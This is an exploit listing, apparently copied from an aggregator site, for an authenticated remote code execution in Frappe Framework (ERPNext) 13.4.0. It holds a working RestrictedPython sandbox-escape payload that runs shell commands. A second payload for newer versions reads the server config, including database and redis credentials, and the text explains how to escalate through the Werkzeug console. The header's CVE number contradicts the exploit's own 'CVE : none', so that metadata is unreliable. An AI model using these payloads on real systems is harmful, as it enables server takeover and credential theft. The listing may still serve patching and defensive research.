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Frappe Framework 13.4.0 Remote Code Execution

CVE Category Price Severity
CVE-2020-15112 CWE-94 Not specified Critical
Author Risk Exploitation Type Date
Unknown High Remote 2023-07-13
CVSS
CVSS:3.7/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023070026

Below is a copy:

Frappe Framework 13.4.0 Remote Code Execution
# Exploit Title: Frappe Framework (ERPNext) 13.4.0 - Remote Code Execution (Authenticated)
# Exploit Author: Sander Ferdinand
# Date: 2023-06-07
# Version: 13.4.0
# Vendor Homepage: http://erpnext.org
# Software Link: https://github.com/frappe/frappe/
# Tested on: Ubuntu 22.04
# CVE : none

Silly sandbox escape.

> Frappe Framework uses the RestrictedPython library to restrict access to methods available for server scripts.

Requirements:
- 'System Manager' role (which is not necessarily the admin)
- Server config `server_script_enabled` set to `true` (likely)

Create a new script over at `/app/server-script`, set type to API, method to 'lol' and visit `/api/method/lol` to execute payload.

```python3
hax = "echo pwned > /tmp/pwned"
g=({k:v('os').popen(hax).read() for k,v in g.gi_frame.f_back.f_back.f_back.f_back.f_builtins.items() if 'import' in k}for x in(0,))
for x in g:0
```

Context: 
- https://ur4ndom.dev/posts/2023-07-02-uiuctf-rattler-read/
- https://gist.github.com/lebr0nli/c2fc617390451f0e5a4c31c87d8720b6
- https://frappeframework.com/docs/v13/user/en/desk/scripting/server-script
- https://github.com/frappe/frappe/blob/v13.4.0/frappe/utils/safe_exec.py#L42

Bonus:

More recent versions (14.40.1 as of writing) block `gi_frame` but there is still a read primitive to escape the sandbox via `format_map`:

```python3
hax = """
{g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_globals[frappe].local.conf}
""".strip()

g=(frappe.msgprint(hax.format_map({'g': g}))for x in(0,))
for x in g:0
```

Which prints the Frappe config like database/redis credentials, etc.

In the unlikely case that Werkzeug is running with `use_evalex`, you may use the above method to retreive the werkzeug secret PIN, then browse to `/console` (or raise an exception) for RCE.

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